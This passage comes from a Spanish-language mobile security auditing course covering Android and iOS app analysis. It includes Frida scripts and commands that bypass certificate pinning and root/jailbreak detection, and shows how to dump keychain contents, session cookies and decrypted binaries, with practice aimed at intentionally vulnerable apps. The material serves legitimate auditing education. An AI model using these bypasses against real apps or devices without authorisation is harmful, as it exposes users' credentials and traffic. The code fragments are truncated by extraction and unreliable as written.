en un archivo para su posterior análisis. El comando es el siguiente:

adb shell

jfltexx:/ $ logcat -f /sdcard/Download/output.txt

4.3.2. Análisis dinámico de la aplicación

Para llevar a cabo el análisis dinámico de la aplicación se deberá revisar la interacción de la aplicación
en dos fases:

Interacción de la aplicación con el dispositivo interno

Se deberá revisar qué tipo de información almancena la aplicación en el dispositivo, tal y como se ha
mencionado en el apartado de metodología. Se deberá prestar especial atención a los datos almacenados
relacionados con credenciales, archivos de configuración, perfilados de usuarios, archivos temporales,
etc.

Interacción de la aplicación con servidores web externos

La mayoría de aplicaciones móviles interactúan con un servidor externo para intercambiar

información. En este apartado se utilizarán los campos de datos de la aplicación para analizar la
respuesta del servidor externo.

228/265
 Llegados a este punto, la aplicación se analizará como si se tratase de una aplicación web donde el
navegador en este caso es la propia aplicación móvil, a través de la que se interactuará con el servidor.
Por este motivo, la metodología de análisis a seguir será la misma que la que se ha explicado en el
módulo de aplicaciones web.

4.3.3. Evasión de las principales contramedidas

En este apartado se plantean las principales contramedidas para evitar que las aplicaciones Android
puedan ser analizadas y susceptibles de interceptar las comunicaciones que realizan con el servidor web
correspondiente. De esta forma, se dificultarían varios de los puntos explicados en este módulo.

Certificate Pinning

Esta contramedida se basa en asegurar que la aplicación móvil únicamente realiza el intercambio de
información con el servidor web legítimo. De esta forma se dificulta la intercepción del tráfico
mediante el uso de proxies inversos, como se ha explicado en anteriores apartados.

Para ello se requiere que la aplicación verifique que el certificado del servidor al que se realizan las
peticiones coincide el certificado digital que tiene precargado dentro del APK.

Para poder evitar esta contramedida, se deberá modificar en tiempo de ejecución las partes de
código que llevan a cabo dicha comprobación. Para ello se hará uso de la herramienta Frida
(https://www.frida.re/), que permite la inyección de código JavaScript en tiempo de ejecución de las
aplicaciones.

A continuación se especifican los comandos para realizar la instalación y el código JavaScript que
se utilizará para evitar el certificate pinning. Previamente, se debe descargar la última versión de
frida-server para la arquitectura correspondiente al dispositivo desde la siguiente url: https://github.co
m/frida/frida/releases

Una vez más, se requiere un dispositivo virtualizado o con permisos de root para su ejecución.

sudo pip install Frida

adb push ~/Downloads/frida-server-XX.X.XX-android-arm /data/local/tmp/frida-server

adb shell

su

setenforce 0

cd /data/local/tmp

chmod 755 frida-server

./frida-server &

229/265
 A continuación, se deberá crear el archivo JavaScript que realizará la evasión. A grandes rasgos, la
evasión se lleva a cabo al monitorizar la ejecución del código de la aplicación y, por ejemplo, si se
ejecuta el método de verificación del certificado y este devuelve un valor “true” si es correcto, el
código JavaScript se encargará de devolver un valor “true” sin realizar la ejecución del método.

El código JavaScript para esta evasión se puede obtener de la siguiente URL y se deberá almacenar
en el código un fichero con extensión “.js”:

https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/

Finalmente, se ejecutarán los siguientes comandos para utilizar el certificado de Burp en lugar del
certificado que utilice la aplicación para su comprobación:

adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt

frida -U -f <package_name> -l <certificatePinningBypass.js> --no-pause

Detección de dispositivo rooteado

Esta contramedida pretende detectar si el dispositivo se encuentra rooteado con el fin de evitar que
otras aplicaciones puedan acceder a los datos que genere la aplicación o evitar que se pueda hacer uso
de software para interceptar las comunicaciones y/o acciones que se realicen. Estas medidas se basan
en que la aplicación solicita permisos de root: si el dispositivo se los concede, se detectará que el
dispositivo se encuentra rooteado. Adicionalmente, se suele realizar una búsqueda de las aplicaciones
comunes que otorgan dichos permisos, tal y como se ha explicado en el apartado de análisis del
código fuente.

En el caso de que la aplicación esté comprobando si aplicaciones como “ Superuser.apk” se

encuentran instaladas, una contramedida simple es renombrar el archivo de la aplicación, por ejemplo
como “Superuser0.apk” en el directorio “ /system/app” mediante adb.

Si se utiliza la herramienta Frida explicada anteriormente, se deberá analizar previamente el código

fuente de la aplicación para detectar en qué clases y qué métodos se utilizan para realizar la
verificación de root. A continuación, se presenta el código JavaScript para devolver un valor “false”
cada vez que se ejecuten métodos como “isDeviceRooted” o “checkRootMethod1”. Cabe mencionar
que los métodos que aparecen a continuación se han detectado en la clase “utils.RootUtil”, que se
almacenará en la variable Activity.

Java.perform(function () {

var Activity = Java.use(<package_name>.utils.RootUtil')

Activity.isDeviceRooted.implementation = function (){

console.log('Patch isDeviceRooted');

return false;

230/265
 Activity.checkRootMethod1.implementation = function (){

console.log('Patch checkRootMethod1');

return false;

Activity.checkRootMethod2.implementation = function (){

console.log('Patch checkRootMethod2');

return false;

});

Este código deberá ser almacenado como un archivo .js y ejecutar el siguiente comando una vez se
ha configurado el servidor de frida, tal y como se ha especificado anteriormente:

frida --no-pause -U -l rootDetectionBypass.js –f <package_name>

Adicionalmente, se puede hacer uso de aplicaciones como RootCloak, incluida en el módulo del
framework Xposed. La instalación de Xposed, así como de los módulos que lo conforman, se
consideran fuera del alcance de este módulo, por lo que en los siguientes enlaces se puede obtener
información sobre este punto:

https://www.xda-developers.com/xposed-framework-for-android-oreo-beta/

https://techviral.net/install-xposed-framework-in-android/

4.4. Aplicaciones vulnerables

A continuación, se presentan varias aplicaciones Android vulnerables para poder realizar

pruebas siguiendo la metodología y los conceptos explicados en los apartados anteriores:

GoatDroid (https://github.com/jackMannino/OWASP-GoatDroid-
Project/tree/android).
Diva (https://github.com/payatu/diva-android).
InsecureBanking2 (https://github.com/dineshshetty/Android-InsecureBankv2).
DVHA (https://github.com/logicalhacking/DVHMA)

231/265
V. Aplicaciones móviles iOS
En este apartado se desarrollan las actividades que involucran el análisis de las aplicaciones móviles
de iOS.

Desde el punto de vista del análisis estático, se examinarán todos los archivos que constituyen el
aplicativo móvil, profundizando en el análisis del código, los archivos de configuración y la información
almacenada en el dispositivo durante su ejecución (como, por ejemplo, información de la sesión del
usuario, información almacenada en bases de datos, etc.).

En relación al análisis dinámico, se mostrarán las técnicas para capturar el tráfico en tiempo real y se
analizarán las distintas herramientas y los métodos que permiten eludir las medidas de evasión
implementadas en el aplicativo para dificultar su análisis.

5.1. iOS (iPhone OS)

iOS es el sistema operativo utilizado en los dispositivos móviles de Apple, incluyendo el iPhone, iPad
y iPod Touch. iOS está basado en Darwin, cuyo kernel híbrido combina componentes de FreeBSD y
Mach.

Las aplicaciones se ejecutan en un entorno restrictivo ( sandbox) aisladas unas de otras y del sistema
de archivos.

Las aplicaciones se distribuyen a través de la Apple Store y son sometidas a un proceso de revisión de
código (App Review ) https://developer.apple.com/app-store/review/ para asegurar su fiabilidad,
funcionamiento esperado y cumplimiento del código ético.

Además, es posible instalar aplicaciones que no provienen de la Apple Store en un dispositivo sin
jailbreak:

Mediante Enterprise Mobile Device Management (MDM), que requiere un certificado

empresarial firmado por Apple https://developer.apple.com/programs/enterprise/
Aplicaciones firmadas con un certificado de tipo desarrollador
https://developer.apple.com/support/certificates/

5.2. Entorno de pruebas para el análisis de aplicaciones iOS

En este apartado se introducen los procesos y las técnicas básicas para analizar los fallos de seguridad
en aplicaciones iOS.

Los requisitos mínimos para construir un entorno de pruebas son los siguientes:

Ordenador con privilegios de administrador.

Red wifi.
Dispositivo iOS con jailbreak:

232/265
 Cydia.
OpenSHH.
Frida.
BigBoss Tools.
adv-cmds.
Class Dump.
Substrate.
AppSync.
Radare2 Suite.
iOS SSL Kill Switch.
Keychain Dumper.
Clutch.
Dumpdecrypted.
IPAinstaller.

Burp Suite Proxy.

Puede encontrar más información sobre la instalación de los componentes en el siguiente

enlace:

https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06b-Basic-Security-Testin
g.md

5.3. Análisis estático

Durante la fase de análisis estático se examinan los componentes de la aplicación sin llegar a
ejecutarse.

Para realizar el análisis estático del aplicativo es necesario disponer del archivo IPA. Este formato de
archivo es utilizado por las aplicaciones de Apple en los dispositivos iPhone, iPad y iPod Touch.

5.3.1. Archivo IPA

Una vez instalada la aplicación en el dispositivo, se puede extraer el archivo IPA para su posterior
análisis, mediante diversas técnicas:

233/265
 Obtener el archivo IPA vía iTunes:

1. Descargar la aplicación vía iTunes y realizar la sincronización de las aplicaciones.

2. Acceder a la ruta donde se almacenan las aplicaciones IPA (es posible realizar una
búsqueda, en el sistema de archivos, de la extensión .ipa para localizar la ubicación
exacta).
/Users/<usuario>/Music/iTunes/iTunes Media/Mobile Applications

Imagen 5.24. Aplicaciones de iOS IPA.

Fuente: captura de la herramienta iTunes.

Realizar un backup del dispositivo vía iTunes y extraer el archivo IPA de la siguiente ruta:
/Users/<user>/Library/Application\ Support/MobileSync/Backup/

En caso que se disponga del archivo IPA (sin que haya sido descargado de la Apple Store) y sea
necesario instalarlo en el dispositivo, se puede utilizar la herramienta CydiaImpactor
http://www.cydiaimpactor.com la cual permite instalar aplicaciones en dispositivos que no tengan
realizado el jailbreak.

Las aplicaciones para dispositivos iOS se distribuyen en archivos IPA (iOS App Store Package), cuyo
formato ZIP comprimido contiene el código y los recursos necesarios para su ejecución (el archivo
binario de la aplicación, los archivos de configuración, las librerías e imágenes necesarias para su
funcionamiento).

La estructura de directorios del archivo IPA es la siguiente:

/Payload/: carpeta que contiene todos los archivos que constituyen la aplicación.
/Payload/Application.app: contiene el código ARM compilado y los recursos estáticos.
/iTunesArtwork: imagen de la aplicación.
/iTunesMetada.plist: información que incluye el identificador del desarrollador, bundle ID,
información de copyright, fecha de lanzamiento, etc.
/WatchKitSupport/WK: extensiones para interactuar con Apple Watch.

234/265
Imagen 5.25. Contenedor del archivo IPA.
Fuente: captura de la herramienta iTunes.

Examinando más detenidamente los archivos incluidos en el contenedor Application.app:

Imagen 5.26. Mostrar contenido archivo IPA.

Fuente: captura de la herramienta iTunes.

Apple define una estructura de directorios y archivos para las aplicaciones, en las que se encuentran:

MyApp: binario ARM compilado con el código de la aplicación.

Application: Iconos de la aplicación.
Info.plist: archivo de configuración que contiene el bundle ID, número de versión, nombre de
la aplicación, etc.
Imágenes: Imágenes de la interfaz de la aplicación.
MainWindow.nib: objetos cargados al lanzar la aplicación.
Settings.bundle: preferencias de la aplicación.

235/265
 Recursos adicionales: subdirectorios que incluyen diccionarios de lenguaje, archivos de
sonido, archivos de configuración, imágenes, archivos con strings de texto, etc.

Imagen 5.27. Contenido de Application.app.

Fuente: captura de directorios y archivos en Apple.

5.3.2. Estructura del aplicativo en el dispositivo local

Mediante acceso vía SSH al dispositivo móvil, es posible examinar los archivos almacenados de
forma local en el dispositivo.

Para identificar la ruta donde está ubicada la aplicación, se puede ejecutar el siguiente comando:

# find / -type f -iname “*APP_NAME*”

Dentro del directorio /var/mobile/Containers/ se encuentran las aplicaciones instaladas mediante

Apple Store, IPA Installer y Cydia.

236/265
 Las aplicaciones se identifican mediante UUID ( Universal Unique Identifier ).

Una vez localizada la aplicación, el contenido se desglosa en los siguientes directorios:

/var/mobile/Containers/Bundle/Application/[UUID]/Application.app

/var/mobile/Containers/Data/Application/[UUID]/Documents

/var/mobile/Containers/Data/Application/[UUID]/Library

/var/mobile/Containers/Data/Application/[UUID]/tmp

Imagen 5.28. Contenido de la Aplicación.

Fuente: captura del desglose de la Aplicación en Apple.

5.3.3. Información almacenada en el dispositivo local

La protección de la información sensible (credenciales de usuario, capturas de pantalla con

información sensible, bases de datos con información confidencial, tokens de sesión, etc.) es un aspecto
fundamental para la seguridad en dispositivos móviles.

iOS pone a disposición de los desarrolladores varias API para el almacenamiento de datos y hacen uso
del hardware criptográfico disponible en los dispositivos con sistema operativo iOS.

5.3.3.1. Archivos de configuración

237/265
 Los archivos de configuración (o propiedades) se identifican mediante la extensión .plist, y se
almacenan tanto en el archivo IPA como en el contendor sandbox dentro del dispositivo móvil.

Para localizar los archivos de configuración en el sistema de archivos del dispositivo, se puede
ejecutar el siguiente comando:

# find * . -name *.plist

Los archivos de propiedades .plist tienen un formato binario y requieren de utilidades específicas
para poder leer su contenido. La siguiente utilidad permite convertirlos a xml:

# plutil -convert xml1 <file>.plist

# plutil -p Info.plist

De igual forma, se pude emplear para mostrar el contenido de archivos que contienen cadenas o
strings del aplicativo.

# plutil -p *.app/en.lproj/Localizable.strings

En caso que no se disponga de acceso al sistema de ficheros del dispositivo (por ejemplo, si el
dispositivo no tiene jailbreak), existen herramientas que permiten recuperar la información
almacenada en los backups de iTunes y iCloud:

iPhone Backup Extractor https://www.iphonebackupextractor.com/

5.3.3.2. Bases de datos

Es importante revisar las bases de datos que utiliza la aplicación para almacenar la información en
local e identificar si contienen información sensible sin cifrar.

Para ello, se buscan extensiones del tipo: *.sqlite, *.dat , *.db

# find . -name *.db

# sqlite3 <base_datos>.db

Se pueden extraer mediante SFTP las bases de datos del dispositivo y utilizar un cliente de SQLite
http://sqlitebrowser.org/ para mostrar su contenido.

5.3.3.3. Keychain

El Keychain se utiliza para almacenar datos sensibles como son las llaves de cifrado, tokens de
sesión o la información de autenticación. Su implementación es similar a una base de datos SQLite, y
solo se puede acceder a través de las API específicas para Keychain.

Esta base de datos está localizada en la siguiente ruta:

238/265
 /private/var/Keychains/keychain-2.db

Para extraer el contenido almacenado en Keychain, se puede ejecutar la siguiente utilidad en el

dispositivo móvil https://github.com/ptoomey3/Keychain-Dumper:

# ./keychain_dumper

Imagen 5.29. Extracción de contenido en Keychain.

Fuente: github.com/ptoomey3/Keychain-Dumper.

Se debe revisar que la información sensible ha sido configurada con las clases Data Protection
adecuada.

kSecAttrAccessibleAfterFirstUnlock

kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly

kSecAttrAccessibleAlways

kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly

kSecAttrAccessibleAlwaysThisDeviceOnly

kSecAttrAccessibleWhenUnlocked

kSecAttrAccessibleWhenUnlockedThisDeviceOnly

El siguiente enlace muestra información más detallada respecto las clases de acceso de Data
Protection:

https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribu
te_keys_and_values#1679100

Por otra parte, si una aplicación se desinstala en el dispositivo, la información permanece

almacenada en el Keychain.

Por ello, se debe comprobar que los datos no se mantienen tras volver a reinstalar la aplicación.
Para ello está disponible needle framework https://github.com/mwrlabs/needle permitiendo la lectura
del Keychain, como se muestra a continuación:

239/265
 Imagen 5.30. Lectura del Keychain en needle framework.
Fuente: https://github.com/mwrlabs/needle.

5.3.3.4. Cookies de sesión

Las cookies de sesión se encuentran almacenadas en el fichero llamado Cookies.binarycookies.

Para poder acceder a su contenido se puede ejecutar el siguiente script en Python.

# python BinaryCookieReader.py

Adicionalmente, se puede extraer el archivo mediante SFTP y utilizar un editor hexadecimal para
acceder a su contenido, o mediante una de las funcionalidades que incluye el framework needle.

Imagen 5.31. Framework needle .

Fuente: https://github.com/mwrlabs/needle.

5.3.4. Análisis del binario

Desde la perspectiva de la ingeniería inversa, se pone especial énfasis en el análisis del binario, para
entender cómo funciona la aplicación. Para ello es necesario:

Identificar la información general del binario.

Identificar la arquitectura para la que fue compilado.
Identificar las clases.

240/265
 Identificar los símbolos.
Identificar los strings.
Verificar si los flags de seguridad han sido activados.

5.3.4.1. Descifrado y extracción del binario

Las aplicaciones descargadas de la Apple Store vienen cifradas con un par de claves
públicas/privadas generadas al crear la cuenta en iTunes y, posteriormente, son transferidas al
dispositivo tras el proceso de autenticación en iTunes.

Para analizar el archivo ejecutable, es necesario descifrarlo desde el dispositivo móvil y así poder
extraerlo para su posterior análisis.

En primer lugar, se debe identificar si la aplicación está cifrada, identificado el bit de cifrado. El
campo cryptid de la propiedad LC_ENCRYPTION_INFO identifica si la aplicación ha sido cifrada o
no.

cryptid 1: Aplicación cifrada

cryptid 0: Aplicación no cifrada

Ejecutando el siguiente comando, se identifica el valor del campo cryptid:

# otool -l <binary> | grep LC_ENCRYPTION_INFO -A5

Una vez se ha identificado si el binario está cifrado o no, hay disponibles varias utilidades para
descifrar el binario. Entre ellas se encuentran Clutch y dumpdecrypted.

Estas herramientas han de ser instaladas en un dispositivo con jailbreak.

https://github.com/stefanesser/dumpdecrypted

https://github.com/KJCracks/Clutch

Imagen 5.32. Clutch.

241/265
Fuente: https://github.com/KJCracks/Clutch.

5.3.4.2. Extracción de información del binario

Para identificar la arquitectura para el que fue compilado el binario, los símbolos o strings y para
identificar si el binario ha sido cifrado, etc., se puede utilizar la herramienta rabin2 dentro de la suite
de radare2 https://github.com/radare/radare2

Los siguientes comandos permiten obtener la información del binario, el listado de los sub-binarios
y extraerlos para su posterior análisis:

$ rabin2 -I <APP>

$ rabin2 -A <APP>

$ rabin2 -x <APP>

Para extraer los símbolos y strings, se pueden ejecutar los siguientes comandos:

$ rabin2 -s <APP>

$ rabin2 -z <APP>

5.3.4.3. Extracción de las clases del binario

Para realizar el volcado de las clases se puede utilizar la herramienta Class Dump.

https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/networkpx/cla
ss-dump-z_0.2a.tar.gz

# /usr/bin/class-dump-z <APP> > file

La herramienta Clutch (https://github.com/KJCracks/Clutch) es muy completa y facilita las tareas,

ya que permite descifrar el binario, extraer información y realizar el volcado de las clases.

Para obtener un listado de las aplicaciones dispones:

Imagen 5.33. Listado de aplicaciones.

Fuente: elaboración propia.

Para realizar un volcado de la aplicación:

242/265
 Imagen 5.34. Volcado de aplicación.
Fuente: elaboración propia.

En el siguiente enlace se encuentra disponible un tutorial sobre la herramienta:

https://github.com/KJCracks/Clutch/wiki/Tutorial

5.3.5. Frameworks para el análisis del archivo IPA

Hay disponibles varios frameworks que permiten realizar el análisis estático de la aplicación.

Estas herramientas permiten obtener información de los archivos de configuración, las clases de las
que hace uso el binario, librerías, strings, etc., e identifican posibles vulnerabilidades y/o errores de
configuración.

243/265
Mobile Security Framework (MobSF)

https://github.com/MobSF/Mobile-Security-Framework-MobSF

MobSF permite llevar a cabo análisis estático y dinámico (este caso solo está disponible para
aplicaciones Android) y ejecutar pruebas sobre la API web.

Además, extrae información de la aplicación y ejecuta un análisis del binario, de los ficheros que
componen la aplicación, las librerías, etc.

Imagen 5.35. Análisis estático MobSF.

Fuente: captura de la herramienta MobSF.

244/265
Passionfruit

https://github.com/chaitin/passionfruit

Passionfruit es una herramienta que permite analizar desde una perspectiva de caja negra
aplicaciones móviles iOS.

Soporta dispositivos sin jailbreak y ofrece una consola web como interfaz de usuario.

Extrae información de la aplicación, del archivo de configuración y de capturas de pantalla

almacenadas en el dispositivo y comprueba si la aplicación ha sido cifrada y tiene habilitados los flags
de seguridad (PIE, ARC y stack canary ).

Imagen 5.36. Análisis estático Passionfruit.

Fuente: captura de la herramienta Passionfruit.

Así mismo, esta herramienta permite mostrar las bases de datos y archivos de configuración “plist”
almacenados en el dispositivo móvil, BinaryCookies o descargar el Keychain y el resto de archivos
para su posterior análisis.

245/265
 Brida

https://github.com/federicodotta/Brida

https://techblog.mediaservice.net/2018/04/brida-a-step-by-step-user-guide/

Brida es una extensión de Burp Suite que trabaja como puente entre Burp Suite y Frida,
permitiendo manipular el tráfico entre el aplicativo móvil y los servicios publicados en el backend.

Imagen 5.37. Interfaz de Brida.

Fuente: captura de la herramienta Brida.

5.4. Análisis dinámico de la aplicación móvil

En la fase de análisis dinámico se analiza la aplicación en tiempo de ejecución. El análisis dinámico
engloba las pruebas manuales y/o automáticas y su objetivo es analizar las peticiones y respuestas entre
la API del aplicativo y los servicios web del backend.

El análisis dinámico se utiliza para asegurar que los mecanismos de seguridad poseen las protecciones
suficientes contra los ataques más frecuentes, como, por ejemplo, revelación de información sensible
transmitida por los canales de comunicación, fallos en la autenticación y autorización y/o errores de
configuración en el servidor.

En este apartado no se tratará el análisis de vulnerabilidades contra los servicios web publicados en el
backend, debido a que la información correspondiente se puede encontrar en el Unidad 2 de este módulo.
En cambio, se centrará en la instalación del certificado para capturar el tráfico del aplicativo y en las
técnicas para evadir contramedidas implementadas para dificultar el análisis del tráfico.

246/265
5.4.1. Instalación del certificado para el análisis del tráfico con Burp Suite

Una vez se ha iniciado Burp Proxy en el ordenador, se debe visitar la siguiente ruta desde el
dispositivo móvil http://<IP_Ordenador>:<Puerto> (IP y puerto donde está el proxy iniciado), y hacer
clic en el enlace “CA Certificate” para descargar el certificado raíz CA de Burp e instalarlo en el
dispositivo móvil.

Imagen 5.38. Proceso de instalación del certificado raíz CA de Burp Proxy.

Fuente: captura de Burp Suite Professional.

Imagen 5.39. Proceso de instalación del certificado raíz CA de Burp Proxy.

Fuente: captura de la interfaz de un dispositivo con sistema operativo iOS.

Imagen 5.40. Proceso de instalación del certificado raíz CA de Burp Proxy.

247/265
Fuente: captura de la interfaz de un dispositivo con sistema operativo iOS.

Figura 30 – Proceso de instalación del certificado raíz CA de Burp Proxy

Para interceptar el tráfico HTTP(S), se configura el proxy en el dispositivo móvil que apuntará a la IP
y puerto en el que está funcionando Burp Proxy.

Imagen 5.41. Configuración del proxy.

Fuente: captura de la interfaz de un dispositivo con sistema operativo iOS.

Navegando por la aplicación, el tráfico es capturado por el proxy, mediante el cual se pueden
interceptar y modificar peticiones de la misma forma que durante un análisis de tráfico web.

5.4.2. Bypass de los controles para dificultar el análisis dinámico

Con más frecuencia los desarrolladores incluyen controles en las aplicaciones para obstaculizar el
análisis dinámico, como son SSL Pinning o cifrado End-to-End (E2E), los cuales previenen la
interceptación y manipulación del tráfico del aplicativo.

Otro mecanismo es la detección de jailbreak, el cual impide que la aplicación sea ejecutada en un
dispositivo con jailbreak, dificultando así el uso de herramientas avanzadas.

Para deshabilitar la validación de SSL Pinning, se puede utilizar la herramienta SSL Kill Switch 2 http
s://github.com/nabla-c0d3/ssl-kill-switch2 que parchea las funcionalidad de SSL a bajo nivel y también
deshabilita la verificación del certificado SSL.

5.4.2.1. Frida

248/265
 Frida https://www.frida.re/ es un framework de instrumentación dinámica que permite inyectar
código en los procesos, modificar funciones o trazar el código privado de la aplicación.

Este framework es útil, ya que permite saltar la detección de jailbreak reemplazando la función
implementada por la aplicación.

Mediante el siguiente comando se trazan las llamadas que realiza el aplicativo cuando invoca a la
función que comprueba si el dispositivo tiene jailbreak o no.

$ frida-trace -U -f /Applications/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp -
m "-[JailbreakDetectionVC isJailbroken]"

El comando arranca la aplicación y se crea un script en JavaScript, que permite modificar los
métodos onEnter y onLeave, modificando el valor de la función para la que devuelve (0), es decir,
isJailbroken a “false”.

onLeave: function (log, retval, state) {

console.log("Function [JailbreakDetectionVC isJailbroken] originally returned:"+ retval);

retval.replace(0); //Se modifica el valor de la función

console.log("Changing the return value to:"+retval);

Se ejecuta de nuevo el comando inicial, con el resultado de la función isJailbroken modificado en

tiempo de ejecución.

Instrumenting functions... `... -[JailbreakDetectionVC isJailbroken]: Loaded handler at

"./__handlers__/__JailbreakDetectionVC_isJailbroken_.js" Started tracing 1 function. Press
Ctrl+C to stop.

Function [JailbreakDetectionVC isJailbroken] originally returned:0x1 Changing the

return value to:0x0

/* TID 0x303 */

6890 ms -[JailbreakDetectionVC isJailbroken]

Function [JailbreakDetectionVC isJailbroken] originally returned:0x1

Changing the return value to:0x0

22475 ms -[JailbreakDetectionVC isJailbroken]

5.5. Aplicaciones vulnerables

249/265
 Estas aplicaciones pueden servir al alumno como práctica y entrenamiento de esta unidad:

Damn Vulnerable iOS Application (DVIA)

Damn Vulnerable iOS Application (DVIA) (http://damnvulnerableiosapp.com/) es una aplicación

vulnerable para evaluar las habilidades de Pentesting en aplicaciones móviles.

Su principal objetivo es proporcionar una plataforma legal a entusiastas y profesionales de

seguridad para poner a prueba su destreza.

Damn Vulnerable Hybrid Mobile App (DVHMA)

Damn Vulnerable Hybrid Mobile App (DVHMA) (https://github.com/logicalhacking/DVHMA)

es una aplicación móvil híbrida para Android que contiene vulnerabilidades de forma intencionada.
Su propósito es permitir a los profesionales de seguridad probar sus herramientas y técnicas
legalmente, ayudar a los desarrolladores a comprender mejor los fallos más comunes en el desarrollo
de aplicaciones móviles híbridas de forma segura.

Esta aplicación está desarrollada para estudiar las "trampas" en el desarrollo de aplicaciones
híbridas, por ejemplo, utilizando Apache Cordova o SAP Kapsel de forma segura. Actualmente, el
enfoque principal es desarrollar una comprensión más profunda de las vulnerabilidades de inyección
que explotan el nexo de unión entre JavaScript y Java.

VI. Resumen
De manera similar en la que hemos estudiado la auditoría de aplicaciones web, en esta unidad nos
hemos centrado en la auditoría de aplicaciones móviles.

Para establecer una metodología efectiva, hemos aprendido que podemos basarnos en la guía de
OWASP Mobile Security Testing Guide , ya que clasifica los riesgos de seguridad en aplicaciones
móviles y proporciona controles para reducir su impacto o probabilidad de explotación.

Para este tipo de auditoría, hemos estudiado aplicaciones móviles de diferentes sistemas operativos
como Android, iOS y, dentro de cada sistema operativo, los tipos de análisis existentes (estático o
dinámico), aplicaciones vulnerables para poder realizar pruebas.

En conclusión, para poder llevar a cabo una auditoría de seguridad completa, es importante conocer de
forma detallada los tipos de aplicaciones con las que vamos a trabajar, así como sus características
específicas que las diferencian de las aplicaciones web, por ejemplo.

250/265
Recursos

Enlaces de Interés
https://github.com/OWASP/owasp-mstg:
https://www.owasp.org/index.php/OWASP_Mobile_Security_Project:
https://www.owasp.org/images/6/61/MASVS_v0.9.4.pdf:
https://github.com/ansjdnakjdnajkd/iOS:

Bibliografía
Hacking Android . 1st ed. Birmingham: Packt Publishing Ldt. : Kotipalli, S. and A. Imran,
M. (2016). Hacking Android. 1st ed. Birmingham: Packt Publishing Ldt.
Hacking de dispositivos iOS: iPhone & iPad . : Alonso Cebrián, J. (2016). Hacking de
dispositivos iOS: iPhone & iPad. OxWORD Computing.
ADB. : https://developer.android.com/studio/releases/platform-tools#download
AddSecurityExceptionAndroid. : https://github.com/levyitay/AddSecurityExceptionAndroid
APKTool. : https://ibotpeaches.github.io/Apktool/install/
App Review. : https://developer.apple.com/app-store/review/
Brida. : https://github.com/federicodotta/Brida
Certificados de Apple. : https://developer.apple.com/support/certificates/
Clutch. : https://github.com/KJCracks/Clutch
Cydia Impactor. : http://www.cydiaimpactor.com
Dex2jar. : https://sourceforge.net/projects/dex2jar/files/latest/download
Diva Android. : https://github.com/payatu/diva-android
Dumpdecrypted. : https://github.com/stefanesser/dumpdecrypted
DVHA. : https://github.com/logicalhacking/DVHMA
Enterprise Mobile Device Management (MDM). :
https://developer.apple.com/programs/enterprise/
Frida. :

https://www.frida.re/
https://github.com/frida/frida/releases

GoatDroid. : https://github.com/jackMannino/OWASP-GoatDroid-Project/tree/android
Guía de Brida. : https://techblog.mediaservice.net/2018/04/brida-a-step-by-step-user-guide/

251/265
 InsecureBanking2. : https://github.com/dineshshetty/Android-InsecureBankv2
Instalación de Xposed. : https://techviral.net/install-xposed-framework-in-android/
iOS/macOS penetration testing cheat sheet. : https://github.com/ansjdnakjdnajkd/iOS
iPhone Backup Extractor. : https://www.iphonebackupextractor.com/
Java Decompiler. : http://jd.benow.ca/
jd-cmd. : https://github.com/kwart/jd-cmd
Keychain Accessibility Values. :
https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys
Keychain-Dumper. : https://github.com/ptoomey3/Keychain-Dumper
Lista de herramientas de análisis Android. : https://www.xda-developers.com/root/
Mobile Security. : https://mobilesecuritywiki.com/
Mobile-Security-Framework-MobSF. : https://github.com/MobSF/Mobile-Security-
Framework-MobSF
Needle. : https://github.com/mwrlabs/needle
OWASP Mobile App Security Checklist. : https://github.com/OWASP/owasp-
mstg/blob/master/Checklists/Mobile_App_Security_Checklist.xlsx
OWASP Mobile Application Security Verification Standard. :
https://www.owasp.org/images/6/61/MASVS_v0.9.4.pdf
OWASP Mobile Security Project – Top 10 Mobile Risks. :
https://www.owasp.org/index.php/OWASP_Mobile_Security_Project
OWASP Mobile Security Testing Guide. : https://github.com/OWASP/owasp-mstg
https://github.com/OWASP/owasp-
mstg/blob/master/Checklists/Mobile_App_Security_Checklist.xlsx
OWASP owasp-mstg. : https://github.com/OWASP/owasp-
mstg/blob/master/Document/0x06b-Basic-Security-Testing.md
passionfruit. : https://github.com/chaitin/passionfruit
Project: Universal Android SSL Pinning Bypass with Frida. :
https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
radare2. : https://github.com/radare/radare2
SQLite Browser. : http://sqlitebrowser.org/
ssl-kill-switch2. : https://github.com/nabla-c0d3/ssl-kill-switch2
SUPER Android Analyzer. : http://superanalyzer.rocks/download.html
Tutorial Clutch. : https://github.com/KJCracks/Clutch/wiki/Tutorial
Xposed framework for Android. : https://www.xda-developers.com/xposed-framework-for-
android-oreo-beta/

Glosario.

252/265
 Análisis dinámico: Estudiar el comportamiento que presenta la aplicación cuando se
encuentra en ejecución. Durante esta fase se analizarán las comunicaciones cliente-servidor, el
acceso a escritura de ficheros, la interacción con diferentes componentes, etc. Para ello, se hará
uso de la información detectada en la fase de obtención de información y, especialmente, del
análisis estático.

Análisis estático: Analizar el comportamiento de la aplicación sin que ésta se encuentre en

ejecución, observando, a partir de la información y código fuente, cómo se comportaría la
aplicación y qué partes de código son susceptibles de ser vulnerables en función de los datos
de entrada o variaciones que sufren en tiempo de ejecución.

Android: Sistema operativo basado en el núcleo de Linux diseñado originalmente para

dispositivos móviles, como smartphones y tablets, y que posteriormente expandió su desarrollo
para soportar otros dispositivos como netbooks, televisores, lectores de e-books, PCs, etc.

AndroidManifest.xml: Fichero XML de configuración donde se especifica toda la

información que el dispositivo precisa para poder determinar las acciones que llevará a cabo la
aplicación en base a los permisos (etiquetas XML definidas que indican las acciones
permitidas por parte de la aplicación), requisitos de software o hardware que se utilizarán
durante la aplicación, la versión del sistema operativo y los diferentes componentes que se
ejecutarán en función de las notificaciones o eventos que se produzcan en el sistema.

APK (Android Application Package) : Archivo comprimido, muy similar al formato JAR
de Java o ZIP, que contiene una estructura de ficheros que se descomprimirá y replicará en el
dispositivo móvil una vez el usuario haya decidido instalar la aplicación en cuestión.

Código SMALI: Lenguaje de ensamblador utilizado en DEX basado en JASMIN, el código

de ensamblador para la máquina virtual de Java (JVM).

